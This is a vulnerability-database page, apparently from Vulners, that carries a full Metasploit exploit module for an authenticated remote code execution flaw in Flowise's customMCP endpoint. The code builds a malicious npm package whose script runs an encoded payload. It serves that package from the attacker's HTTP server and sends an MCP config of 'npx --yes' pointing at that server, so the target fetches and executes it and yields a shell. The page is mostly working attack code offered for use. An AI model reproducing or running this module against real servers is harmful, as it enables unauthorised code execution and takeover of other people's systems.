Lucene search
+L

Flowise MCP Server Remote Code Execution

🗓️ 23 Jun 2026 00:00:00Reported by cn-panda, ABDUL JAFAROV <https://github.com/jafarov007>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Flowise 2.2.7 to 3.1.2 allows authenticated RCE via customMCP endpoint fetching arbitrary npm packages.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Flowise
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Flowise MCP Server Remote Code Execution',
        'Description' => %q{
          Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution
          through the Custom MCP (Model Context Protocol) node configuration.

          The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint,
          which accepts arbitrary command and argument configurations for MCP server
          initialization. An authenticated attacker can abuse the npx --yes flag to
          fetch and execute a malicious npm package from an attacker-controlled HTTP
          server, achieving arbitrary command execution on the Flowise host.

          This module creates a malicious npm package tar archive in memory, serves it
          via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint
          to download and execute the package via npx.

          To interact with the obtained shell, use the command: sessions -i <id>
          (for example: sessions -i 1).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'cn-panda', # Vulnerability discovery
          'ABDUL JAFAROV <https://github.com/jafarov007>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-56274'],
          ['CWE', '78'],
          ['GHSA', 'GHSA-m99r-2hxc-cp3q']
        ],
        'DisclosureDate' => '2026-06-23',
        'Targets' => [
          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Flowise base path', '/']),
      OptString.new('USERNAME', [false, 'Flowise username (email)']),
      OptString.new('PASSWORD', [false, 'Flowise password']),
      Opt::RPORT(3000)
    ])
  end

  def check
    version = flowise_get_version
    return Exploit::CheckCode::Unknown('Unable to determine Flowise version') unless version

    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp', info: "Flowise #{version}")

    if version < Rex::Version.new('2.2.7')
      return Exploit::CheckCode::Safe("Flowise #{version} does not feature customMCP support")
    end

    if version < Rex::Version.new('3.1.2')
      return Exploit::CheckCode::Appears("Flowise #{version} detected")
    end

    Exploit::CheckCode::Safe("Target is running patched version #{version}")
  end

  # Build the malicious npm package tar archive entirely in memory.
  # npm/npx expects tar entries under a "package/" prefix directory.
  def create_tar_package
    print_status('Building malicious npm package tar in memory...')

    index_js = <<~JS
      #!/usr/bin/env node
      const { execSync } = require('child_process');
      try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {}
    JS

    package_json = {
      'name' => 'attacker-mcp-pkg',
      'version' => '1.0.0',
      'bin' => {
        'attacker-mcp-pkg' => './index.js'
      }
    }.to_json

    tar_io = StringIO.new

    Rex::Tar::Writer.new(tar_io) do |tar|
      tar.add_file('package/package.json', 0o644) do |f|
        f.write(package_json)
      end

      tar.add_file('package/index.js', 0o755) do |f|
        f.write(index_js)
      end
    end

    tar_io.seek(0)
    data = tar_io.read
    tar_io.close

    print_good("Tar package built in memory (#{data.bytesize} bytes)")
    data
  end

  # HttpServer callback -- serves the tar package to npx.
  # Receives requests matching the auto-generated URIPATH.
  def on_request_uri(cli, request)
    print_good("Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})")
    send_response(cli, @tar_data, {
      'Content-Type' => 'application/x-tar',
      'Content-Disposition' => 'attachment; filename=msf.tar'
    })
  end

  # Ensure randomly generated URIPATH contains only lower-case characters for npx compatibility
  def random_uri
    '/' + Rex::Text.rand_text_alpha_lower(rand(6..15))
  end

  # Called automatically by HttpServer once the server is ready.
  # This is where we perform the client-side attack.
  def primer
    @tar_data = create_tar_package

    if get_resource != get_resource.downcase
      hardcoded_uripath(get_resource.downcase)
    end

    if flowise_requires_auth?
      print_status("Authenticating as #{datastore['USERNAME']}...")
      flowise_login(datastore['USERNAME'], datastore['PASSWORD'])
    end

    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp')
    send_exploit_payload
  end

  def send_exploit_payload
    tar_url = get_uri.downcase

    print_status("Sending malicious MCP node config (tar URL: #{tar_url})...")

    mcp_server_config = {
      'command' => 'npx',
      'args' => ['--yes', tar_url]
    }

    node_data = {
      'loadMethods' => {},
      'label' => 'Custom MCP',
      'name' => 'customMCP',
      'version' => 1.1,
      'type' => 'Custom MCP Tool',
      'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png',
      'category' => 'Tools (MCP)',
      'description' => 'Custom MCP Config',
      'inputs' => {
        'mcpServerConfig' => mcp_server_config.to_json,
        'mcpActions' => ''
      },
      'baseClasses' => ['Tool'],
      'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js',
      'inputAnchors' => [],
      'inputParams' => [
        {
          'label' => 'MCP Server Config',
          'name' => 'mcpServerConfig',
          'type' => 'code',
          'hideCodeExecute' => true,
          'hint' => {
            'label' => 'How to use',
            'value' => "\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.<variableName>`."
          },
          'placeholder' => "{\n    \"command\": \"npx\",\n    \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}",
          'id' => 'customMCP_0-input-mcpServerConfig-code',
          'display' => true
        },
        {
          'label' => 'Available Actions',
          'name' => 'mcpActions',
          'type' => 'asyncMultiOptions',
          'loadMethod' => 'listActions',
          'refresh' => true,
          'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions',
          'display' => true
        }
      ],
      'outputs' => {},
      'outputAnchors' => [
        {
          'id' => 'customMCP_0-output-customMCP-Tool',
          'name' => 'customMCP',
          'label' => 'Custom MCP Tool',
          'description' => 'Custom MCP Config',
          'type' => 'Tool'
        }
      ],
      'id' => 'customMCP_0',
      'selected' => true,
      'loadMethod' => 'listActions',
      'previousNodes' => [],
      'currentNode' => {
        'id' => 'customMCP_0',
        'name' => 'customMCP',
        'label' => 'Custom MCP',
        'inputs' => {
          'mcpServerConfig' => mcp_server_config.to_json,
          'mcpActions' => ''
        }
      }
    }

    res = flowise_send_custommcp_request(node_data)
    if res
      print_good('Exploit payload delivered successfully')
      print_status('Waiting for npx to fetch tar and execute payload...')
    else
      print_warning('Exploit request failed')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 48.7
CVSS 3.19.9
EPSS0.03273
SSVC
5